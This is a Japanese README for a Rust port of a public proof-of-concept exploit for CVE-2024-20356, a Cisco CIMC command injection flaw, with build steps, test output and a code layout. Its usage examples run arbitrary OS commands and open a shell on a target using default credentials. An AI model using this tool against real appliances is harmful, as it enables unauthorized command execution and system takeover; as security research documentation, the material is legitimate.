
Oxidized版の https://github.com/nettitude/CVE-2024-20356/blob/main/CVE-2024-20356.py
これはCisco CIMCのコマンドインジェクション脆弱性であるCVE-2024-20356の概念実証です。
作成者: Aaron、SherllyNeoによる酸化(翻案)
技術的な詳細はこちらをご覧ください: https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom
cargo build --release && cp ./target/release/CVE_2024_20356 ~/.local/bin/
Usage: CVE_2024_20356 [OPTIONS] --host <HOSTNAME>
Options:
-t, --host <HOSTNAME> Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-u, --username <USERNAME> Username [default: admin]
-p, --password <PASSWORD> Password [default: cisco]
-a, --action <ACTION> Action to perform [default: test] [possible values: test, cmd, shell, dance]
-c, --cmd <CMD> OS command to run [default: None]
-v, --verbose Displays more information about cimc
-h, --help Print help
-V, --version Print version
コマンド例:
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -v
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -c 'id'
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a shell
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a dance
完全な使用手順については --help 引数を使用してください。
この概念実証はデモンストレーション目的であり、違法行為に使用すべきではありません。LRQA Nettitude は、このコードの使用または誤用によって生じた損害について一切の責任を負いません。 邪悪になるな。
私は元のコードベース (original code base) に基づいて、サーバーにアクセスせずにこれを書きました。
そのため、暗号化関数が元のコードと一致することを確認する広範な単体テストを作成しました。 モックサーバーを使用してログインメソッドが動作すること。 IPアドレスに対する引数解析が動作すること。
これらのテストを実行するには、cargo test を使用します。
cargo test
Compiling CVE_2024_20356 v0.1.0
Finished `test` profile [unoptimized + debuginfo] target(s) in 2.27s
Running unittests src/main.rs (target/debug/deps/CVE_2024_20356-6d8ec478cd93405b)
running 8 tests
test libs::encryption::tests::pad_test ... ok
test libs::encryption::tests::key_fnv32_test ... ok
test libs::encryption::tests::aes_encrypt_test ... ok
test libs::encryption::tests::derive_key_and_iv_test ... ok
test libs::encryption::tests::hash_fnv32_test ... ok
test libs::encryption::tests::encrypt_test ... ok
test libs::actions::tests::login_test ... ok
test libs::arguments::validate_hostname_test ... ok
test result: ok. 8 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.02s
私は mod.rs を使用せず、main が lib の薄いラッパーであることを示すためにこれをここに置きました。 これにより、将来の統合テストが可能になります。
src
├── lib.rs
├── libs
│ ├── actions.rs
│ ├── arguments.rs
│ └── encryption.rs
└── main.rs